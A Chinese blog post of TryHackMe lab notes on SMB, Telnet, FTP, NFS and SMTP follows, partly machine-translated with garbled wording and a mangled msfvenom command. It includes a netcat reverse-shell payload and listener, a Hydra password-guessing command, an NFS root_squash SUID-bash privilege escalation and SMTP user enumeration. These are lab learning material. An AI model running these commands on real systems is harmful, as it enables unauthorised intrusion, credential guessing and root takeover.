tryckme记录

tryckme记录

SMB

SMB - 服务器消息块协议 - 是一种客户端-服务器通信协议,用于共享对网络上的文件、打印机、串行端口和其他资源的访问。 [ 来源 ]

服务器生成文件系统和其他资源(打印机、 命名管道,API)可供网络上的客户端使用。 客户 计算机可能有自己的硬盘,但他们也想访问 服务器上的共享文件系统和打印机。

SMB 协议被称为响应请求协议,这意味着 它在客户端和服务器之间传输多条消息 建立连接。 客户端使用 TCP/IP(实际上是 NetBIOS over RFC1001 和 RFC1002 中指定的 TCP/IP)、NetBEUI 或 IPX/SPX。

smblient

smbclient //[IP]/[SHARE]

-U [name] : 指定用户

-p [port] : 指定端口 

Telent

Telnet 是一种应用程序协议,它允许您使用 telnet 客户端连接到托管 telnet 服务器的远程计算机并在其上执行命令。

telnet 客户端将与服务器建立连接。 然后客户端将成为一个虚拟终端——允许您与远程主机进行交互。

替代品

Telnet 以明文形式发送所有消息,没有特定的安全性 机制。 因此,在许多应用程序和服务中,Telnet 已被 在大多数实现中被 SSH 取代。

*Telnet 是如何工作的?*

用户使用Telnet协议连接到服务器,这 意味着 输入“telnet” 在命令提示符中 。 用户然后通过以下方式在服务器上执行命令 在 Telnet 提示符下使用特定的 Telnet 命令。 您可以使用以下语法连接到 telnet 服务器: “telnet [ip] [port]”

tcpdump 侦听器

如果您使用自己的机器连接 OpenVPN,请使用:

  • sudo tcpdump ip proto \\icmp -i tun0

如果使用 AttackBox,请使用:

  • sudo tcpdump ip proto \\icmp -i eth0

专门侦听 ping 操作的 ICMP 流量。

目标机:ping [local THM ip] -c 1 查看是否可以执行系统命令

Reverse Shell

“shell 可以简单地描述为一段代码或程序,它可以 用于在设备上获取代码或命令执行。

反向 shell 是一种 shell,其中目标机器 回传给攻击机器。

攻击机有一个 侦听端口,它在其上接收连接,从而产生代码 或正在执行命令。

我们将使用 msfvenom 生成一个反向 shell 负载。这将为我们生成并编码一个 netcat 反向 shell。 这是我们的语法:
“msfvenom -p cmd unix / lport / reverse_netcat lhost = [local tun0 ip] = R 4444 ”

-p = 有效载荷
lhost = 我们的本地主机 IP 地址(这是 您 机器的 IP 地址)
计算机上的端口 lport = 要侦听的端口(这是您 )
R = 以原始格式导出负载 

在本地机器启动necat
“nc -lvp [监听端口]”  //这里是4444

然后生成的有效的payload然后在目标机

.RUN payload

FTP

什么是FTP?

文件传输协议 ( FTP 顾名思义, ) 是一种允许通过网络远程传输文件的协议。 它使用客户端-服务器模型来执行此操作,并且——正如我们稍后将介绍的那样——以一种非常有效的方式中继命令和数据。

*是如何 FTP 工作的?*

A 典型的 FTP 会话使用两个通道运行:

  • 命令(有时称为控件) 渠道
  • 一个数据通道。

顾名思义,命令通道 用于传输命令以及对这些命令的回复, 而数据通道用于传输数据。

FTP 使用客户端-服务器协议运行。 客户端发起与服务器的连接,服务器验证 提供任何登录凭据,然后打开会话。

当会话打开时,客户端可以执行 FTP 命令 在服务器上。

主动与被动

服务器 FTP 可能支持主动或被动连接,或同时支持两者。

  • 在主动 FTP 连接中,客户端打开一个端口并 听。 服务器需要主动连接到它。
  • 在被动 FTP 中 连接,服务器打开一个端口并监听(被动)和 客户端连接到它。

这种指挥分离 将信息和数据放入不同的渠道是一种能够 向服务器发送命令而无需 等待当前数据传输完成。 如果两个通道都是 相互关联,您只能在数据传输之间输入命令,这对于大文件传输或慢速互联网连接来说效率不高。

Hydra

hydra
Hydra 是一个非常快速的在线密码破解工具,它可以对 50 多种协议进行快速字典攻击,包括 Telnet、 RDP 、SSH、FTP、HTTP、HTTPS、SMB、多种数据库等等

我们将用于查找密码的命令的语法是这样的:
“hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.6 ftp” 

让我们分解一下:

部分功能

hydra 运行 hydra 工具

-t 4 每个目标的并行连接数

-l [user] 指向您试图破坏帐户的用户

-P [字典路径] 指向包含可能密码列表的文件

-vV 将详细模式设置为非常详细,显示每次尝试的登录+密码组合

[机器IP] 目标机器的IP地址

NFS

什么是 NFS?

NFS 代表“网络文件系统”和 允许系统与其他人共享目录和文件 通过网络。 通过使用 NFS,用户和程序可以访问 远程系统上的文件几乎就像是本地文件一样。 它 通过在服务器上安装全部或部分文件系统来实现这一点。 文件的部分 客户端可以通过任何方式访问已安装的系统 权限分配给每个文件。

NFS 是如何工作的?

我们 不需要了解太详细的技术交流 能够有效地利用 NFS——但是如果这是 如果您感兴趣,我会推荐此资源: https://docs.oracle.com/cd/E19683-01/816-4882/6mb2ipq7l/index.html

第一的, 客户端将请求安装一个 从远程主机到本地目录的目录就像它一样 可以挂载物理设备。 然后挂载服务将连接到 使用 RPC 的相关挂载守护进程。

服务器检查用户是否有 挂载所请求的任何目录的权限。 然后它会 返回唯一标识每个文件和目录的文件句柄 那是在服务器上。

如果有人想使用访问文件 NFS,对服务器上的 NFSD(NFS 守护程序)进行 RPC 调用。 这 调用采用以下参数:

  • 文件句柄
  • 要访问的文件名
  • 用户的,用户ID
  • 用户的组 ID

这些用于确定访问权限 到指定的文件。 这是控制用户权限,IE读写文件的东西。

什么运行 NFS?

使用NFS协议,可以在计算机之间传输文件 运行 Windows 和其他非 Windows 操作系统,例如 Linux、MacOS 或 UNIX。

A 运行 Windows Server 的计算机可以充当 NFS 其他非 Windows 客户端计算机的文件服务器。 同样,NFS 允许运行 Windows Server 的基于 Windows 的计算机访问文件 存储在非 Windows NFS 服务器上。

挂载 NFS 共享


您的客户端系统需要一个目录,可以访问导出文件夹中主机服务器共享的所有内容。 您可以创建
这个文件夹在你系统的任何地方。 创建此挂载点后,您可以使用“mount”命令将 NFS 共享连接到您机器上的挂载点,如下所示: 

sudo mount -t nfs IP:share /tmp/mount/ -nolock 


sudo 	以root用户身份运行
mount 	执行挂载命令
-t nfs 	要挂载的设备类型,然后指定它是 NFS
IP:分享 	NFS 服务器的 IP 地址,以及我们希望挂载的共享名称
-nolock 	指定不使用 NLM 锁定 

挂载到tmp目录

.文件属于隐藏文件 需要 ls -a
小知识 .ssh文件夹有密钥 
找到密钥 然后 chmod 600 [file] 将权限改为600

ssh -i <key-file> <username>@<ip> 
什么是 root_squash?

默认情况下,在 NFS 共享上启用根压缩,并防止连接到 NFS 共享的任何人对 NFS 卷具有根访问权限。 远程 root 用户是 连接时分配一个用户“nfsnobody”,它具有最少的本地 特权。 不是我们想要的。 但是,如果关闭它,它可以允许创建 SUID 位文件,从而允许远程用户 root 访问连接的系统。
南

那么,什么是文件 SUID位设置? 从本质上讲,这意味着可以运行一个或多个文件 文件所有者/组的权限。 在这种情况下,作为 超级用户。 我们可以利用它来获得具有这些特权的 shell!

方法

这听起来很复杂,但确实提供 您熟悉 SUID 文件的工作原理,这很容易 理解。 我们可以上传 文件到NFS共享,并控制这些文件的权限。 我们可以设置我们上传的任何内容的权限,在本例中是 bash shell 可执行文件。 然后我们可以通过 SSH 登录,就像我们在上一个任务中所做的那样 - 并执行这个可执行文件以获得 root shell! 

使用wget下载bash

wget https://github.com/polo-sec/writing/blob/master/Security%20Challenge%20Walkthroughs/Networks%202/bash
//一个问题 这个bash文件 为啥会有错误 没解决//

NFS 访问 ->

获得低权限外壳->

将 Bash 可执行文件上传到 NFS 共享 ->

由于 Root Squash 配置错误,通过 NFS 设置 SUID 权限 ->

登录 通过SSH ->

执行 SUID Bit Bash 可执行文件 ->

root访问权限

bash shell 必须由 root 用户拥有,您可以使用“sudo chown root bash”进行设置 



现在,我们将使用“sudo chmod +[permission] bash”向刚刚复制到共享的 bash 可执行文件添加 SUID 位权限。

ls -la [file]查看文件权限集
这样一顿操作应该是 -rwsr-sr-x



现在, 以用户身份通过SSH 登录机器。 列出目录以确保 bash 可执行文件在那里。 现在,关键时刻。 ”来运行它 让我们用“ ./bash -p 。 -p 保留权限,以便它可以作为 root 使用 SUID- 运行,否则 bash 有时会删除权限。 

SMTP

SMTP 代表“简单邮件传输协议”。 它用于处理电子邮件的发送。 为了支持电子邮件服务,需要一个协议对,包括 SMTP 和 POP/IMAP。 它们一起允许用户发送外发邮件和 分别检索收到的邮件。

服务器 SMTP 执行三个基本功能:

  • 服务器发送电子邮件 它验证谁在通过SMTP 。
  • 它发送外发邮件
  • 如果外发邮件无法送达,它会将邮件发回给发件人

大多数人在某些第三方电子邮件客户端(例如 Thunderbird)上配置新电子邮件地址时都会遇到 SMTP; 当您配置新的电子邮件客户端时,您需要配置 SMTP 服务器配置才能发送外发电子邮件。

POP 和 IMAP

POP 或“邮局协议”和 IMAP,“Internet 消息访问协议”都是电子邮件协议,负责在客户端和邮件服务器之间传输电子邮件。 主要区别在于 POP 将收件箱从邮件服务器下载到客户端的方法更为简单。 IMAP 会将当前收件箱与服务器上的新邮件同步,下载任何新邮件。 这意味着如果您随后从另一台计算机同步收件箱,则在一台计算机上通过 IMAP 对收件箱所做的更改将持续存在。 POP/IMAP 服务器负责完成这个过程。

*是如何 SMTP 工作的?*

电子邮件传递的功能与物理邮件传递系统非常相似。 用户将提供电子邮件(一封信)和一项服务(邮政投递服务),并通过一系列步骤将其投递到收件人的收件箱(邮箱)。 服务器在此服务中的作用 SMTP 是充当分类办公室,电子邮件(信件)被拾取并发送到该服务器,然后将其定向到收件人。

\1. 邮件用户代理,它可以是您的电子邮件客户端或外部程序。 连接到 您域的SMTP 服务器,例如 smtp.google.com。 这将启动 SMTP 握手。 此连接通过 SMTP 端口(通常为 25)工作。一旦建立并验证了这些连接,SMTP 会话就会启动。

\2. 现在可以开始发送邮件了。 客户端首先将发件人和收件人的电子邮件地址(电子邮件正文和任何附件)提交给服务器。

\3. SMTP 服务器检查收件人和发件人的域名是否相同。

\4. SMTP 发件人的 服务器将在中继邮件之前与收件人的 SMTP 服务器建立连接。 如果收件人的服务器无法访问或不可用 - 电子邮件将被放入 SMTP 队列。

\5. 然后,收件人的 SMTP 服务器将验证传入的电子邮件。 它通过检查域和用户名是否已被识别来执行此操作。 然后服务器会将电子邮件转发到 POP 或 IMAP 服务器,如上图所示。

\6. 电子邮件将出现在收件人的收件箱中。

这是一个非常简化的流程版本,还有很多子协议、通信和细节没有包括在内。 如果您想了解有关该主题的更多信息,那么阅读更精细的技术细节的细目分类非常友好——我实际上用它来编写这个细目分类:

https://computer.howstuffworks.com/e-mail-messaging/email3.htm 

**什么运行 SMTP?****

SMTP 服务器软件很容易在 Windows 服务器平台上使用,许多其他 SMTP 变体可在 Linux 上运行。

配置不当或易受攻击的邮件服务器通常可以提供 进入网络的初始立足点,但在发起攻击之前,我们 想要对服务器进行指纹识别以使我们的定位尽可能精确 可能的。 我们将使用 MetaSploit 中的“ smtp_version ”模块来做到这一点。 顾名思义,它将扫描 IP 地址范围并确定它遇到的任何邮件服务器的版本。

SMTP 服务有 两个内部命令 允许枚举用户:VRFY(确认用户的名称 有效用户)和 EXPN(显示用户的实际地址 别名和电子邮件列表(邮件列表)。 使用这些 SMTP 命令,我们可以显示有效用户列表

我们可以通过 telnet 连接手动执行此操作——但是 Metasploit 再次出手相救,它提供了一个名为“ smtp_enum ”的方便模块,它将为我们完成跑腿工作! 使用该模块很简单,只需为其提供一个主机或一系列 要扫描的主机和包含要枚举的用户名的单词表。
要求

由于我们将为此使用 Metasploit,因此安装 Metasploit 很重要。 上都是默认的 它在 Kali Linux 和 Parrot OS ; 但是,在发起任何攻击之前,进行快速更新以确保您使用的是最新版本总是值得的。 您可以通过简单的“sudo apt update”和随附的升级(如果需要)来完成此操作。

备择方案

值得注意的是,这种枚举技术适用于大多数 SMTP 配置; 然而,还有其他非 metasploit 工具,例如 smtp-user-enum,它们可以更好地 服务在 Solaris 上枚举操作系统级别的用户帐户 通过SMTP 。 枚举是通过检查 对 VRFY、EXPN 和 RCPT TO 命令的响应。

这种技术将来可以适用于 对抗其他易受攻击的 SMTP 守护程序,但在撰写本文时尚未完成。 这是一个值得牢记的备选方案。 如果您试图远离使用 Metasploit(例如为 OSCP 做准备),那么 

如何启动Metasploit framework

① service postgresql start

② msfdb init

③ msfconsole

/usr/share/wordlists/SecLists/Usernames/top-usernames-shortlist.txt

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值